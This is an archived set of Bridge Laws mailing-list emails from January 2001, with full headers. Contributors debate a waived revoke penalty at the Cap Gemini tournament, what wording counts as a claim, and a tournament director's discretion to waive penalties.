[62.6.98.129]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id RAA02512; Sun, 28 Jan 2001 17:24:26 GMT Message-ID: <002501c0894f$7b7a2cc0$8162063e@dodona> From: "Grattan Endicott" To: "David Burn" , "Bridge Laws" References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> Subject: Re: [BLML] Cap Gemini shows the way Date: Sun, 28 Jan 2001 17:22:39 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "Speak when you are angry - and you'll make the best speech you'll ever regret." [P.J. Peter] <=====> ----- Original Message ----- From: David Burn To: Bridge Laws Sent: Sunday, January 28, 2001 3:32 PM Subject: [BLML] Cap Gemini shows the way > Extract from Bulletin 1 from the recent Cap Gemini tournament in the Netherlands: > > At most tables, the contract was 4H which went down one. Forrester - Helgemo were in 4H as well, Chemla - Levy defending. Superficially looking at it, one would say that declarer stands no chance, but the prospects changed dramatically when Chemla revoked during the play of the hand. In a tournament of this standard, players would not call the director, but rather invite their opponents to correct the revoke and waive the penalty card. That's exactly what happened at this gentlemen's table, but it is interesting to see that Forrester might have made his contract had he imposed the Law. > > Comments on an electronic postcard. > > David Burn > London, England > +=+ I would raise two lines of enquiry. (1) Did this breach of the laws affect the ranking of any third party? (2) Was the Director aware of it in time to apply Law 81C6, and if so how competently did he deal with it? Reference to the status of the tournament presumably implies that it is a social occasion, the bridge not being serious? ~ Grattan ~ +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 06:02:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SJ1Rb05917 for bridge-laws-outgoing; Mon, 29 Jan 2001 06:01:27 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from technetium.cix.co.uk (technetium.cix.co.uk [194.153.0.53]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SJ1Lt05913 for ; Mon, 29 Jan 2001 06:01:22 +1100 (EST) Received: (from cix@localhost) by technetium.cix.co.uk (8.11.2/8.11.2) id f0SJ1DQ18630 for bridge-laws@rgb.anu.edu.au; Sun, 28 Jan 2001 19:01:13 GMT X-Envelope-From: twm@cix.compulink.co.uk Date: Sun, 28 Jan 2001 19:01 +0000 (GMT) From: twm@cix.compulink.co.uk (Tim West-meads) Subject: Re: [BLML] Claim? To: bridge-laws@rgb.anu.edu.au Cc: twm@cix.compulink.co.uk Reply-To: twm@cix.compulink.co.uk Message-Id: Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In-Reply-To: <006101c0888e$dbdcfb40$9a9c1e18@san.rr.com> Marv wrote: > What's wrong with the current "statement to the effect"? Your words > seem to require that a number be mentioned, but "We missed a cold > slam" should certainly constitute a claim. > Surely not. There is nothing in that statement to indicate that the missed slam is in the same denomination as the contract being played. Nor does it indicate whether 12 or 13 tricks would be expected. Tim West-Meads -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 06:55:01 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SJsZM05943 for bridge-laws-outgoing; Mon, 29 Jan 2001 06:54:35 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SJsTt05939 for ; Mon, 29 Jan 2001 06:54:30 +1100 (EST) Received: from [213.123.13.39] (helo=pbncomputer) by carbon.btinternet.com with smtp (Exim 3.03 #83) id 14Mxu1-0004AB-00 for bridge-laws@rgb.anu.edu.au; Sun, 28 Jan 2001 19:54:22 +0000 Message-ID: <000701c08964$1bb733e0$270d7bd5@pbncomputer> From: "David Burn" To: "Bridge Laws" References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <002501c0894f$7b7a2cc0$8162063e@dodona> Subject: Re: [BLML] Cap Gemini shows the way Date: Sun, 28 Jan 2001 19:52:58 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan wrote: > +=+ I would raise two lines of enquiry. > (1) Did this breach of the laws affect the > ranking of any third party? Well, the form of scoring was Butler IMPs. If the "correct" result of 4H making had been included in the calculation of the datum, it is possible that the ranking of the entire field might have been affected. However, it seems from the report that a single instance of 4H making as opposed to one down might not have been included in the datum. Since a 10-IMP swing was at stake, pairs who finished fewer than 10 IMPs behind Chemla - Levy would have been damaged directly, and pairs who finished fewer than 10 IMPs ahead of Forrester - Robson would have directly benefited. There were, as it transpired, no such pairs (see below). > (2) Was the Director aware of it in time > to apply Law 81C6, and if so how > competently did he deal with it? I have no information on that. I doubt that the Director became aware of it until he read about it in the Bulletin. > Reference to the status of the tournament > presumably implies that it is a social occasion, > the bridge not being serious? ~ Grattan ~ +=+ The event's full title was "The 15th Cap Gemini Ernst & Young World Top Invitational Bridge Tournament". The final ranking list was: 1 Mahmood - Robson 859 2 Garner - Weinstein 838 3 Jassem - Tuszynski 787 4 Karwur - Sacul 786 5 Brenner - Chagas 784 6 Von Arnim - Auken 768 7 Forrester - Helgemo 748 8 Greco - Hampson 745 9 De Boer - Muller 744 10 Garozzo - Sementa 743 11 Hallberg - Simpson 732 12 Leufkens - Westra 724 13 Maas - Ramondt 706 14 Chemla - Levy 695 15 Engel - Van Middelem 676 16 Lambardi - Lucena 615 Socialites all. Not a serious bridge player among them. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 07:13:54 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SKDG305964 for bridge-laws-outgoing; Mon, 29 Jan 2001 07:13:16 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SKDAt05960 for ; Mon, 29 Jan 2001 07:13:11 +1100 (EST) Received: from [213.123.13.39] (helo=pbncomputer) by tungsten.btinternet.com with smtp (Exim 3.03 #83) id 14MyCA-0000Yj-00 for bridge-laws@rgb.anu.edu.au; Sun, 28 Jan 2001 20:13:06 +0000 Message-ID: <001101c08966$b9f6c280$270d7bd5@pbncomputer> From: "David Burn" To: References: Subject: Re: [BLML] Claim? Date: Sun, 28 Jan 2001 20:13:01 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tim wrote: > Surely not. There is nothing in that statement to indicate that the > missed slam is in the same denomination as the contract being played. > Nor does it indicate whether 12 or 13 tricks would be expected. Quite so. The original question was whether "We will make twelve tricks" is a claim. It is, but anything less definite is not. "We have missed a slam" is not a claim, nor is "we are cold for slam". I would even say that "we can make twelve tricks" is not a claim, since it might refer to some other denomination or to some unspecified condition (such as "if the hearts are not 7-0"). Nor is "we will make at least twelve tricks" a claim, since it does not specify the number of tricks that will be won. To be a claim, a statement must be an unconditional prediction relating to the specific number of tricks that will be taken in the current denomination - the relevant words of L68A are "will" and "specific". Unless we are trying for the record number of messages in a BLML thread, might I suggest that the question of whether the TD ought to come to the table with a law book and read from it be made the subject of another thread? It does not seem to me to have much to do with claims, but to be a separate topic of (at least) equal importance. David Burn London, England -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 07:21:08 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SKKx205977 for bridge-laws-outgoing; Mon, 29 Jan 2001 07:20:59 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mta06-svc.ntlworld.com (mta06-svc.ntlworld.com [62.253.162.46]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SKKrt05973 for ; Mon, 29 Jan 2001 07:20:54 +1100 (EST) Received: from vnmvhhid ([62.255.1.57]) by mta06-svc.ntlworld.com (InterMail vM.4.01.02.27 201-229-119-110) with SMTP id <20010128202049.FAXM285.mta06-svc.ntlworld.com@vnmvhhid> for ; Sun, 28 Jan 2001 20:20:49 +0000 Message-ID: <004401c08968$1f2b2820$3901ff3e@vnmvhhid> From: "Anne Jones" To: "BLML" References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> Subject: Re: [BLML] Cap Gemini shows the way Date: Sun, 28 Jan 2001 20:23:04 -0000 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I think it is inexcusable that players of high standard consider themselves to be above and beyond the law. They are the ambassadors of the game, and this is no way to teach lesser mortals how they should behave. Anne ----- Original Message ----- From: "David Burn" To: "Bridge Laws" Sent: Sunday, January 28, 2001 3:32 PM Subject: [BLML] Cap Gemini shows the way > Extract from Bulletin 1 from the recent Cap Gemini tournament in the > Netherlands: > > At most tables, the contract was 4H which went down one. Forrester - > Helgemo were in 4H as well, Chemla - Levy defending. Superficially > looking at it, one would say that declarer stands no chance, but the > prospects changed dramatically when Chemla revoked during the play of > the hand. In a tournament of this standard, players would not call the > director, but rather invite their opponents to correct the revoke and > waive the penalty card. That's exactly what happened at this gentlemen's > table, but it is interesting to see that Forrester might have made his > contract had he imposed the Law. > > Comments on an electronic postcard. > > David Burn > London, England > > > -- > ======================================================================== > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 08:45:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SLioZ16818 for bridge-laws-outgoing; Mon, 29 Jan 2001 08:44:50 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from smtp6.mindspring.com (smtp6.mindspring.com [207.69.200.110]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SLigt16774 for ; Mon, 29 Jan 2001 08:44:43 +1100 (EST) Received: from hirschd (user-vcauhj0.dsl.mindspring.com [216.175.70.96]) by smtp6.mindspring.com (8.9.3/8.8.5) with SMTP id QAA00616 for ; Sun, 28 Jan 2001 16:44:39 -0500 (EST) Message-ID: <000a01c08973$83ffd600$0200000a@mindspring.com> From: "Hirsch Davis" To: "BLML" References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> Subject: Re: [BLML] Cap Gemini shows the way Date: Sun, 28 Jan 2001 16:44:38 -0500 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I don't find the behavior inexcusable, nor do I think the players were trying to place themselves above the law. They were simply trying to win by virtue of their skill at the table, as opposed to winning via a legal technicality. That being said, I don't think it was correct to waive the penalty in the absence of the TD. However, David's original post indicates that this is the standard at this level, rather than the exception. That being said, what's the correct way to handle this? I'm looking at the wording of 81C8 (Duties and Powers of the TD): "8. Waiver of Penalties to waive penalties for cause, at his discretion, upon the request of the non-offending side." This clearly gives the TD the right to waive a penalty, so one way to approach the revoke would have been to summon the TD and request a waiver of penalty. Not being overly skilled at the nuances of commas, particularly in the Laws, there are two phrases here that give me pause. a) "penalties for cause"- does this mean that there must be an extenuating circumstance, such that the TD feels that the penalty would be inappropriate, or is it simply referring to all penalties that the OS have given cause to invoke? b) "at his discretion"- this is the one that really needs qualification, IMO. One possible interpretation of the above is that the TD can waive a penalty at the request of the NOS whenever he feels like it. Ugh. Get rid of the "at his discretion: part, and it becomes reasonable. It would then mean something on the order of : The TD waives penalties when requested to do so by the NOS. This would actually give the NOS a new power, to have the TD waive a penalty, with the TD performing automatically. Good sportsmanship would now have a legal avenue in which it could be exercised. Better than before, IMO. But it may be worth taking another look at the phrase "at his discretion", which relates to the TD. Under what circumstances would the TD apply his discretion? The absence of any guidelines is problematical, IMO. However, if one looks at early versions of the Laws of Duplicate, a clue is there. The earliest version I have immediate access to is in one of Culberson's books. Culbertson commented on the role of the TD, and indicated that the primary change in the duties of the TD in duplicate (opposed to other forms of bridge) is that the TD must act as the respresentative of the field (an aspect of the task that has long since disappeared from the Laws). This actually applies here, as one of the questions asked in this thread was how the waiver of the penalty affected the final standings. This leads to one possible guideline for the phrase "at his discretion", which could mean that the TD would *not* waive a penalty if doing so could have a negative impact on other pairs/teams' chances in the contest. Would such an interpretation effectively end waivers of penalties? What other guidelines for the phrase "at his discretion" would give a TD guidance on when he should be agreeable to the request, or when he should oppose it? Any guidelines at all would help impose some sort of uniformity on how a TD should respond to such a request. Just a couple of thoughts that struck me. Hirsch ----- Original Message ----- From: "Anne Jones" To: "BLML" Sent: Sunday, January 28, 2001 3:23 PM Subject: Re: [BLML] Cap Gemini shows the way > I think it is inexcusable that players of high standard consider > themselves to be above and beyond the law. They are the ambassadors of > the game, and this is no way to teach lesser mortals how they should > behave. > Anne > > ----- Original Message ----- > From: "David Burn" > To: "Bridge Laws" > Sent: Sunday, January 28, 2001 3:32 PM > Subject: [BLML] Cap Gemini shows the way > > > > Extract from Bulletin 1 from the recent Cap Gemini tournament in the > > Netherlands: > > > > At most tables, the contract was 4H which went down one. Forrester - > > Helgemo were in 4H as well, Chemla - Levy defending. Superficially > > looking at it, one would say that declarer stands no chance, but the > > prospects changed dramatically when Chemla revoked during the play of > > the hand. In a tournament of this standard, players would not call the > > director, but rather invite their opponents to correct the revoke and > > waive the penalty card. That's exactly what happened at this > gentlemen's > > table, but it is interesting to see that Forrester might have made his > > contract had he imposed the Law. > > > > Comments on an electronic postcard. > > > > David Burn > > London, England > > > > > > -- > > > ====================================================================== == > > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au > with > > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > > A Web archive is at > http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > > -- > ====================================================================== == > (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with > "(un)subscribe bridge-laws" or just "help" in the BODY of the message. > A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 09:03:31 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SM38723490 for bridge-laws-outgoing; Mon, 29 Jan 2001 09:03:08 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from falhost.fujitsu.com.au (falgate.fujitsu.com.au [137.172.211.9]) by rgb.anu.edu.au (8.10.2/8.10.2) with SMTP id f0SM32t23457 for ; Mon, 29 Jan 2001 09:03:03 +1100 (EST) Received: by falhost.fujitsu.com.au; id JAA26055; Mon, 29 Jan 2001 09:02:52 +1100 Received: from mailhost.fujitsu.com.au(137.172.19.140) by falhost via smap (V2.1) id xma025895; Mon, 29 Jan 01 09:02:31 +1100 Received: from Viruswall (mailhost.fujitsu.com.au) with ESMTP id f0SM2Vq18125 Received: from doctech (doctech.fujitsu.com.au [137.172.72.22]) by mailhost.fujitsu.com.au (8.11.0/8.11.0) with SMTP id f0SM2VE18119 for ; Mon, 29 Jan 2001 09:02:31 +1100 Received: from SERCDEMOnote ([137.172.15.125]) by doctech (4.1/SMI-4.1-MHS-7.0) id AA16686; Mon, 29 Jan 01 08:47:58 EST Message-Id: <007201c08976$7bc18440$7d0fac89@SERCDEMOnote> From: "Peter Newman" To: References: Subject: Re: [BLML] Consistent Claim Adjudication Date: Mon, 29 Jan 2001 09:05:53 +1100 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-Msmail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tim, thanks for your comments - I think they came to the nub of the problem (as I see it)...if you don't want to go the Burn approach.... From: "Tim West-meads" > Peter Newman wrote: > > > Thanks to everyone who made suggestions about the hand... > > In my first example it is intriguing to me that it is clearly 2 tricks > > to the defense despite this being a line guaranteed to go off in 3NT. > > Obviously my defintion of irrational is different from everybody elses. > > There is no rational line that allows declarer to make a play for 3NT on > the actual hand. At the time when the claim (so obviously) breaks down > declarer must hold either: > a: KJ,KJ6 > b: J3,KJ6. (or K3/KJ6) > c: KJ3,KJ > d: KJ3,J6 (possibly, but this borders on irrational to me) > > In cases a & b any discard apart from H6 is ridiculous. In c & d a > discard of anything apart from a spade honour is crazy. We will quite > happily assume declarer to be in the least favourable possible position of > a to c (maybe d for some). We will assume he makes antipercentage plays > thereafter. However, the lie of the cards on the actual hand prevents us > from finding a line to get fewer than 4 tricks. While it is true that a > novice might fail to unblock the spade honour on holding d it is > inconceivable to me that the same novice might have thrown a heart honour > instead of the 6. > > Indeed I would even assume that declarer noticed the claim breakdown when > West failed to follow if *that* opened up a possible line to 3 or fewer > tricks. > > Tim West-Meads The part that really worries me about this claim is that we will never know what this declarer was going to do - they had already done one thing which could be considered irrational (miscounting clubs) - which they are assumed not to do after the claim...but we can't help that - it is the law. The particular declarer in question didn't give me the impression that she would have had the slightest idea about re-entry back to hand with the spade 10. [Perhaps it would be a better problem if she hadn't had the S10] Yet here is the director based on only seeing the last 6 tricks making assumptions as to the level of the player - fine in theory but in practise how do you tell. Am I meant to call the director and say - on the evidence of the first seven hands of this eight board match the declarer is a novice, or the declarer seems fair club standard, or some such comment as a segue into ... and she just made an incorrect claim. If it was board one then what? This is way too hard - and almost all the rulings that I have seen on BLML seem to have the players playing at a much higher standard thay my real life opponents - imagine if you played against a pair and they never did anything irrational ;-) Cheers, Peter PS: I think in the particular hand this particular declarer would have pitched card from the lowest - heart first, then low spade and gone one off - given that when the director ruled 2 tricks to the defense and she said "Just making" gave an indication that of the status of the hand in her mind ;-) -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 09:53:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0SMr3E11448 for bridge-laws-outgoing; Mon, 29 Jan 2001 09:53:03 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0SMqut11412 for ; Mon, 29 Jan 2001 09:52:57 +1100 (EST) Received: from dodona (host62-6-76-191.dialup.lineone.co.uk [62.6.76.191]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id WAA21952; Sun, 28 Jan 2001 22:52:29 GMT Message-ID: <002c01c0897d$4f4ae6c0$bf4c063e@dodona> From: "Grattan Endicott" To: "David Burn" , "Bridge Laws" References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <002501c0894f$7b7a2cc0$8162063e@dodona> <000701c08964$1bb733e0$270d7bd5@pbncomputer> Subject: Re: [BLML] Cap Gemini shows the way Date: Sun, 28 Jan 2001 22:49:10 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "Speak when you are angry - and you'll make the best speech you'll ever regret." [L.J. Peter] <=====> ----- Original Message ----- From: David Burn To: Bridge Laws Sent: Sunday, January 28, 2001 7:52 PM Subject: Re: [BLML] Cap Gemini shows the way > Grattan wrote: > > > +=+ I would raise two lines of enquiry. > > (1) Did this breach of the laws affect the > > ranking of any third party? > > Well, the form of scoring was Butler IMPs. If the "correct" result of 4H > making had been included in the calculation of the datum, it is possible > that the ranking of the entire field might have been affected. However, > it seems from the report that a single instance of 4H making as opposed > to one down might not have been included in the datum. Since a 10-IMP > swing was at stake, pairs who finished fewer than 10 IMPs behind > Chemla - Levy would have been damaged directly, and pairs who finished > fewer than 10 IMPs ahead of Forrester - Robson would have directly > benefited. There were, as it transpired, no such pairs (see below). > > > (2) Was the Director aware of it in time > > to apply Law 81C6, and if so how > > competently did he deal with it? > > I have no information on that. I doubt that the Director became aware of > it until he read about it in the Bulletin. > > > Reference to the status of the tournament > > presumably implies that it is a social occasion, > > the bridge not being serious? ~ Grattan ~ +=+ > > The event's full title was "The 15th Cap Gemini Ernst & Young World Top > Invitational Bridge Tournament". The final ranking list was: > > 1 Mahmood - Robson 859 > 2 Garner - Weinstein 838 > 3 Jassem - Tuszynski 787 > 4 Karwur - Sacul 786 > 5 Brenner - Chagas 784 > 6 Von Arnim - Auken 768 > 7 Forrester - Helgemo 748 > 8 Greco - Hampson 745 > 9 De Boer - Muller 744 > 10 Garozzo - Sementa 743 > 11 Hallberg - Simpson 732 > 12 Leufkens - Westra 724 > 13 Maas - Ramondt 706 > 14 Chemla - Levy 695 > 15 Engel - Van Middelem 676 > 16 Lambardi - Lucena 615 > > Socialites all. Not a serious bridge player among them. > > David Burn > London, England > +=+ Ah, that explains it. Unusual for a couple of comedians to sponsor a bridge tournament. +=+ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 11:52:39 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0T0pk026604 for bridge-laws-outgoing; Mon, 29 Jan 2001 11:51:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from scooby.lineone.net (doggy.lineone.net [194.75.152.224]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0T0pdt26600 for ; Mon, 29 Jan 2001 11:51:39 +1100 (EST) Received: from dodona (host62-6-64-82.dialup.lineone.co.uk [62.6.64.82]) by scooby.lineone.net (8.9.3/8.9.3) with SMTP id AAA18686; Mon, 29 Jan 2001 00:51:11 GMT Message-ID: <000f01c0898d$e47a7ac0$5240063e@dodona> From: "Grattan Endicott" To: "Hirsch Davis" , "BLML" References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> <000a01c08973$83ffd600$0200000a@mindspring.com> Subject: Re: [BLML] Cap Gemini shows the way Date: Mon, 29 Jan 2001 00:51:34 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2615.200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott "Speak when you are angry - and you'll make the best speech you'll ever regret." [L.J. Peter] <=====> ----- Original Message ----- From: Hirsch Davis To: BLML Sent: Sunday, January 28, 2001 9:44 PM Subject: Re: [BLML] Cap Gemini shows the way > I don't find the behavior inexcusable, nor > do I think the players were trying to place > themselves above the law. They were simply > trying to win by virtue of their skill at the > table, as opposed to winning via a legal > technicality. > > That being said, I don't think it was correct > to waive the penalty in the absence of the TD. > However, David's original post indicates that > this is the standard at this level, rather than > the exception. > +=+ I do not think that was what was said. It was some journalist's opinion that it was desirable to ignore the rules of the game, not any kind of official opinion, as I read it. Which is why I have no doubt the Director should have been called and was the one to decide the appropriate use of the law in this case. My view is that the interests of competitors generally were set aside in a violation of the laws of the game. +=+ > > That being said, what's the correct way > to handle this? > > I'm looking at the wording of 81C8 (Duties > and Powers of the TD): > > "8. Waiver of Penalties > to waive penalties for cause, +=+ if he considers he has good reason to do so+=+ > > at his discretion, +=+ and he considers it appropriate* to do so+=+ > > upon the request of the non-offending > side." > +=+ and provided the opponents request him to do so.+=+ > +=+ * If failure to apply the penalty the law prescribes could alter the rankings of the competitors, this test is not satisfied. Discretion is given to the Director to be applied equitably. ~ Grattan ~ +=+ . -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Mon Jan 29 13:28:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0T2RRX22439 for bridge-laws-outgoing; Mon, 29 Jan 2001 13:27:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from anchor-post-31.mail.demon.net (anchor-post-31.mail.demon.net [194.217.242.89]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0T2RKt22398 for ; Mon, 29 Jan 2001 13:27:21 +1100 (EST) Received: from probst.demon.co.uk ([158.152.214.47]) by anchor-post-31.mail.demon.net with smtp (Exim 2.12 #1) id 14N42F-000HsO-0V for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 02:27:15 +0000 Message-ID: Date: Mon, 29 Jan 2001 02:17:23 +0000 To: bridge-laws@rgb.anu.edu.au From: "John (MadDog) Probst" Reply-To: "John Probst" Subject: Re: [BLML] Claim? References: <01a201c087e2$3e3e41c0$7ae2f1c3@default> <00f901c088f0$c7c244a0$9a9c1e18@san.rr.com> In-Reply-To: <00f901c088f0$c7c244a0$9a9c1e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk In article <00f901c088f0$c7c244a0$9a9c1e18@san.rr.com>, Marvin L. French writes > >From: "Jac Fuchs" > >> John Probst wrote : >> >> >After reading the arguments I'm forced to conclude that I think >it's >> a >> >claim. I am not happy. I shall spring it on DWS next time he >tries >> a >> >weak 2, holding 6 of the suit (it happens). "Partner we can make >10 >> >tricks" and see what happens. cheers john. >> > >> >> Ah ! There's a nice point of discussion for native English >speakers >> here: >> I would expect "we are going to make twelve tricks!" to be rather >more >> decisive than "we can make twelve tricks.", but do you native >English >> speaking gentlemen feel that way about it ? >> > >Yes. But both are statements "to the effect" that a specific number >of tricks will be won, making both claims. i don't think British English speakers would differentiate at all between the two statements. I just like to involve partner in disasters. If I say "I" it was I; When I say we it was he :)) > >Marv >San Diego, CA, USA > > > > >-- >======================================================================== >(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ -- John (MadDog) Probst| . ! -^- |phone & fax :20 8980 4947 451 Mile End Road | /|__. \:/ |icq 10810798 OKb ChienFou London E3 4PA | / @ __) -|- |john@probst.demon.co.uk +44-(0)20 8983 5818 | /\ --^ | |www.probst.demon.co.uk -- ======================================================================== 